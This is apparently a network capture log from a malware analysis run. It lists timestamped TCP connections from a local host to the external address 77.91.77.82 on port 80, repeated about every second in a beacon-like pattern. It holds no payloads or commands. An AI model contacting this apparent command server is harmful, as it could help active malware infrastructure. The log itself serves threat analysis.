Jun 28, 2024 22:33:03.273192883 CEST	49782	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:03.389466047 CEST	49782	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:03.389734030 CEST	49783	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:03.394766092 CEST	80	49783	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:03.394854069 CEST	49783	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:03.394998074 CEST	49783	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:03.395220995 CEST	80	49782	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:03.395287037 CEST	49782	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:03.399820089 CEST	80	49783	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:04.094258070 CEST	80	49783	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:04.094423056 CEST	49783	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:04.095009089 CEST	49783	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:04.099935055 CEST	80	49783	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:04.312370062 CEST	80	49783	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:04.312438011 CEST	49783	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:04.425616980 CEST	49783	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:04.426331043 CEST	49784	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:04.430742979 CEST	80	49783	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:04.430797100 CEST	49783	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:04.431101084 CEST	80	49784	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:04.431171894 CEST	49784	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:04.431318045 CEST	49784	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:04.436047077 CEST	80	49784	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:05.173809052 CEST	80	49784	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:05.173981905 CEST	49784	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:05.177953005 CEST	49784	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:05.185226917 CEST	80	49784	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:05.393923044 CEST	80	49784	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:05.394041061 CEST	49784	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:05.499219894 CEST	49784	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:05.499696970 CEST	49785	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:05.504817963 CEST	80	49784	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:05.504929066 CEST	49784	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:05.504956961 CEST	80	49785	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:05.505053043 CEST	49785	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:05.505218029 CEST	49785	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:05.510054111 CEST	80	49785	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:06.209510088 CEST	80	49785	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:06.209671974 CEST	49785	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:06.215795040 CEST	49785	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:06.220627069 CEST	80	49785	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:06.433398008 CEST	80	49785	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:06.433528900 CEST	49785	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:06.546435118 CEST	49785	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:06.546796083 CEST	49786	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:06.551625013 CEST	80	49786	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:06.551754951 CEST	49786	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:06.551877975 CEST	49786	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:06.552016973 CEST	80	49785	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:06.552076101 CEST	49785	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:06.557396889 CEST	80	49786	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:07.290595055 CEST	80	49786	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:07.290734053 CEST	49786	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:07.291466951 CEST	49786	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:07.296391010 CEST	80	49786	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:07.521553993 CEST	80	49786	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:07.521743059 CEST	49786	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:07.624130011 CEST	49786	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:07.624517918 CEST	49787	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:07.629584074 CEST	80	49787	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:07.630546093 CEST	80	49786	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:07.630727053 CEST	49786	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:07.630888939 CEST	49787	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:07.630888939 CEST	49787	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:07.635662079 CEST	80	49787	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:08.327198982 CEST	80	49787	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:08.328474998 CEST	49787	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:08.329253912 CEST	49787	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:08.334356070 CEST	80	49787	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:08.616317034 CEST	80	49787	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:08.616516113 CEST	49787	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:08.718383074 CEST	49787	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:08.718765974 CEST	49788	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:08.723647118 CEST	80	49787	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:08.723685026 CEST	80	49788	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:08.723707914 CEST	49787	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:08.723777056 CEST	49788	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:08.723952055 CEST	49788	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:08.728739023 CEST	80	49788	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:09.414895058 CEST	80	49788	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:09.414988041 CEST	49788	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:09.415647030 CEST	49788	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:09.420522928 CEST	80	49788	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:09.638513088 CEST	80	49788	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:09.638705969 CEST	49788	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:09.749001026 CEST	49788	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:09.749294996 CEST	49789	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:09.754311085 CEST	80	49789	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:09.754390955 CEST	49789	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:09.754523993 CEST	49789	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:09.754733086 CEST	80	49788	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:09.754787922 CEST	49788	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:09.759243965 CEST	80	49789	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:10.459054947 CEST	80	49789	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:10.459139109 CEST	49789	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:10.459754944 CEST	49789	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:10.465702057 CEST	80	49789	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:10.684489965 CEST	80	49789	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:10.684564114 CEST	49789	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:10.797688961 CEST	49789	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:10.797900915 CEST	49790	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:10.802719116 CEST	80	49790	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:10.802792072 CEST	49790	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:10.802880049 CEST	49790	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:10.802999020 CEST	80	49789	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:10.803057909 CEST	49789	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:10.808943033 CEST	80	49790	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:11.528498888 CEST	80	49790	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:11.528574944 CEST	49790	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:11.529232025 CEST	49790	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:11.534003019 CEST	80	49790	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:11.753810883 CEST	80	49790	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:11.753875971 CEST	49790	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:11.858452082 CEST	49790	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:11.858745098 CEST	49791	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:11.863555908 CEST	80	49791	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:11.863642931 CEST	49791	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:11.863698959 CEST	80	49790	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:11.863720894 CEST	49791	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:11.863743067 CEST	49790	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:11.868469000 CEST	80	49791	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:12.582830906 CEST	80	49791	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:12.582911968 CEST	49791	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:12.583445072 CEST	49791	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:12.589895964 CEST	80	49791	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:12.809540987 CEST	80	49791	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:12.809628963 CEST	49791	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:12.920804024 CEST	49791	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:12.921123981 CEST	49792	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:12.926631927 CEST	80	49792	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:12.926711082 CEST	49792	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:12.926804066 CEST	49792	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:12.926995039 CEST	80	49791	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:12.927050114 CEST	49791	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:12.932554960 CEST	80	49792	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:13.670336008 CEST	80	49792	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:13.670403957 CEST	49792	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:13.671490908 CEST	49792	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:13.678909063 CEST	80	49792	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:13.901499987 CEST	80	49792	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:13.901587963 CEST	49792	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:14.014923096 CEST	49792	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:14.015588999 CEST	49793	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:14.020281076 CEST	80	49792	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:14.020382881 CEST	80	49793	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:14.020392895 CEST	49792	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:14.020553112 CEST	49793	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:14.020705938 CEST	49793	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:14.025455952 CEST	80	49793	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:14.987262964 CEST	80	49793	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:14.987399101 CEST	49793	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:14.987977028 CEST	80	49793	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:14.988046885 CEST	49793	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:14.988374949 CEST	49793	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:14.994817972 CEST	80	49793	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:15.204631090 CEST	80	49793	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:15.204741001 CEST	49793	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:15.311742067 CEST	49793	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:15.312323093 CEST	49794	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:15.320041895 CEST	80	49794	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:15.320133924 CEST	49794	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:15.320323944 CEST	49794	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:15.322344065 CEST	80	49793	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:15.322412968 CEST	49793	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:15.325752020 CEST	80	49794	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:16.020829916 CEST	80	49794	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:16.020944118 CEST	49794	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:16.024343014 CEST	49794	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:16.029186964 CEST	80	49794	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:16.241916895 CEST	80	49794	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:16.242014885 CEST	49794	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:16.358886957 CEST	49794	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:16.359404087 CEST	49795	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:16.364267111 CEST	80	49794	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:16.364289999 CEST	80	49795	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:16.364378929 CEST	49794	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:16.364425898 CEST	49795	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:16.364676952 CEST	49795	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:16.609303951 CEST	80	49794	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:16.609401941 CEST	49794	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:16.609821081 CEST	80	49795	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:16.615124941 CEST	80	49794	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:17.480835915 CEST	80	49795	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:17.480940104 CEST	49795	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:17.481734991 CEST	49795	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:17.487703085 CEST	80	49795	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:17.698122025 CEST	80	49795	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:17.698232889 CEST	49795	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:17.811491013 CEST	49795	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:17.811809063 CEST	49796	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:17.816673040 CEST	80	49796	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:17.816787004 CEST	49796	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:17.816955090 CEST	80	49795	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:17.817012072 CEST	49795	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:17.817056894 CEST	49796	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:17.821872950 CEST	80	49796	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:18.537436962 CEST	80	49796	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:18.537677050 CEST	49796	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:18.538301945 CEST	49796	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:18.547707081 CEST	80	49796	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:18.765829086 CEST	80	49796	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:18.765902996 CEST	49796	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:18.874270916 CEST	49796	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:18.874757051 CEST	49797	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:18.887008905 CEST	80	49796	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:18.887062073 CEST	49796	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:18.887564898 CEST	80	49797	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:18.887638092 CEST	49797	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:18.887799025 CEST	49797	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:18.892581940 CEST	80	49797	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:19.588130951 CEST	80	49797	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:19.588212967 CEST	49797	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:19.588876009 CEST	49797	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:19.594017029 CEST	80	49797	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:19.805587053 CEST	80	49797	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:19.805660009 CEST	49797	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:19.922559023 CEST	49797	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:19.922900915 CEST	49798	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:19.927612066 CEST	80	49797	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:19.927639961 CEST	80	49798	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:19.927706003 CEST	49797	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:19.927735090 CEST	49798	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:19.927860022 CEST	49798	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:19.932739973 CEST	80	49798	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:20.635029078 CEST	80	49798	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:20.638567924 CEST	49798	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:20.639369965 CEST	49798	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:20.644198895 CEST	80	49798	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:20.862685919 CEST	80	49798	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:20.862744093 CEST	49798	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:20.968246937 CEST	49798	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:20.968982935 CEST	49799	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:20.973714113 CEST	80	49798	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:20.973741055 CEST	80	49799	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:20.973778009 CEST	49798	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:20.973834991 CEST	49799	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:20.973994017 CEST	49799	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:20.978729010 CEST	80	49799	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:21.667681932 CEST	80	49799	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:21.670553923 CEST	49799	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:21.671705961 CEST	49799	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:21.677988052 CEST	80	49799	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:21.892128944 CEST	80	49799	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:21.892519951 CEST	49799	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:22.001957893 CEST	49799	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:22.002429962 CEST	49800	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:22.007630110 CEST	80	49799	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:22.007749081 CEST	80	49800	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:22.007816076 CEST	49799	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:22.007858038 CEST	49800	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:22.008121014 CEST	49800	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:22.013325930 CEST	80	49800	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:22.713355064 CEST	80	49800	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:22.713466883 CEST	49800	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:22.735061884 CEST	49800	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:22.735972881 CEST	49801	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:22.742952108 CEST	80	49800	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:22.743030071 CEST	49800	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:22.744780064 CEST	80	49801	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:22.744899035 CEST	49801	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:22.745290995 CEST	49801	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:22.755202055 CEST	80	49801	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:23.445724010 CEST	80	49801	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:23.445785999 CEST	49801	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:23.564841032 CEST	49801	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:23.565243006 CEST	49802	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:23.570241928 CEST	80	49802	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:23.570331097 CEST	49802	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:23.570466042 CEST	49802	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:23.575491905 CEST	80	49802	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:23.575845003 CEST	80	49801	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:23.575902939 CEST	49801	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:24.282160044 CEST	80	49802	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:24.282435894 CEST	49802	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:24.286235094 CEST	49802	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:24.286642075 CEST	49803	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:24.291568995 CEST	80	49802	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:24.291626930 CEST	49802	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:24.291663885 CEST	80	49803	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:24.291963100 CEST	49803	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:24.292118073 CEST	49803	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:24.298645973 CEST	80	49803	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:25.014478922 CEST	80	49803	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:25.014565945 CEST	49803	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:25.134179115 CEST	49803	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:25.134593010 CEST	49804	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:25.142144918 CEST	80	49804	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:25.142229080 CEST	49804	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:25.142519951 CEST	49804	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:25.143671036 CEST	80	49803	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:25.146573067 CEST	49803	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:25.151962996 CEST	80	49804	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:25.846144915 CEST	80	49804	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:25.846219063 CEST	49804	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:25.848877907 CEST	49804	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:25.857954979 CEST	80	49804	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:26.065062046 CEST	80	49804	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:26.065114975 CEST	49804	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:26.176037073 CEST	49804	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:26.176420927 CEST	49805	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:26.181171894 CEST	80	49804	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:26.181220055 CEST	49804	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:26.181248903 CEST	80	49805	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:26.181314945 CEST	49805	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:26.181476116 CEST	49805	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:26.186232090 CEST	80	49805	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:26.903973103 CEST	80	49805	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:26.904150963 CEST	49805	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:26.906845093 CEST	49805	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:26.907218933 CEST	49806	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:26.912075043 CEST	80	49806	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:26.912153006 CEST	49806	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:26.912364960 CEST	49806	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:26.912749052 CEST	80	49805	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:26.912806988 CEST	49805	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:26.917180061 CEST	80	49806	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:27.614319086 CEST	80	49806	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:27.614398003 CEST	49806	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:27.720036030 CEST	49806	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:27.720277071 CEST	49807	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:27.725049019 CEST	80	49807	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:27.725122929 CEST	49807	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:27.725244999 CEST	80	49806	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:27.725298882 CEST	49806	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:27.725383043 CEST	49807	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:27.730091095 CEST	80	49807	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:28.471329927 CEST	80	49807	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:28.471373081 CEST	49807	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:28.474168062 CEST	49807	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:28.474495888 CEST	49808	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:28.479257107 CEST	80	49808	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:28.479317904 CEST	49808	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:28.479446888 CEST	49808	80	192.168.2.4	77.91.77.82
